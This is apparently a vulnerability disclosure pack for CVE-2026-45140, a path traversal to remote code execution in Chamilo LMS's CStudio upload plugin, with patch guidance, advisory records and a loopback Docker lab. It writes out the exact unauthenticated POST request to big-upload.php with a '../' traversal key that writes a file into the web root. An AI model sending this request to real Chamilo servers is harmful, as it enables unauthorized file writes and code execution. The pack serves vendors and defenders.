abraxas/cve-2026-45140Disclosure pack and PoC script for CVE-2026-45140, an unauthenticated path traversal and RCE in Chamilo LMS CStudio upload, with a loopback Docker lab and patch guidance.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-45140
Chamilo LMS 2.0.0 — chamilo
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
| CVE | CVE-2026-45140 · CVE.org |
| CWE | CWE-22, CWE-94, CWE-219, CWE-434 |
| CVSS | Critical: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Product | Chamilo LMS |
| Affected | all versions through 2.0.0 (inclusive) |
| Patched | 2.0.1 and later |
| Auth | none (see source map) |
| License | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1 only · vendor/client disclosure pack, not a scanner |
CStudio upload is the PHP file big-upload.php, not a Symfony action=. HTTP is that plugin path.
POST/plugin/CStudio/editor/import-project/inc/big-upload.php?action=upload&key=../../../../public/poc-witness.txtPOST /plugin/CStudio/editor/import-project/inc/big-upload.php?action=upload&key=../../../../public/poc-witness.txt body=POCWitness45140BigUpload::setTempName(key) + uploadFile() fopen(cache/cstudio_upload/ + key)GET /poc-witness.txt → POCWitness45140GET /poc-witness.txt body contains POCWitness45140. Home HTML or install redirect is not the file-write witness.
Do this first: Update Chamilo LMS to 2.0.1 or newer.
Verify after upgrade
CVE-2026-45140-Abraxas-Labs.py against the patched build: the mapped witness must not appear.If you cannot update immediately
Target only http://127.0.0.1:8088 (or the loopback you bound). Do not point this script at the internet.
python3 CVE-2026-45140-Abraxas-Labs.py
Success is the witness above in the response body. Generic 200 HTML is not it.
Loopback stack used to reproduce. Official images unless a Dockerfile in this folder builds from source.
cd lab
docker compose up --force-recreate
Bind the vulnerable product tree next to Compose if the YAML mounts a local directory (plugin zip / source tag from the version table). Publish nothing except 127.0.0.1.
# CVE-2026-45140 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-45140`
- CWE: CWE-22, CWE-94, CWE-219, CWE-434
- published: 2026-09-17T21:17:12.440
## NVD description
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
## MITRE description
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
## Affected
- chamilo chamilo-lms < 2.0.1 affected
- OSV:
## References (JSON sources only)
- https://github.com/chamilo/chamilo-lms/commit/4bdba1b9a8820bd70c0809317775d7f6eaa79844
- https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.1
- https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-g4c3-4g96-6g4m
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45140.json
- https://nvd.nist.gov/vuln/detail/CVE-2026-45140
- https://github.com/advisories/GHSA-g4c3-4g96-6g4m
## GitHub advisory
Chamilo LMS CStudio upload flow allows unauthenticated remote code execution
### Impact
Ability to run arbitrary code on the server without authentication.
## OSV
Chamilo LMS CStudio upload flow allows unauthenticated remote code execution
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
This disclosure pack is licensed under the GNU Affero General Public License v3.0. See LICENSE.
This pack is for the vendor, the site owner, and licensed labs. The script talks to 127.0.0.1. Using it against systems you do not own is not authorized by Abraxas Labs. No warranty.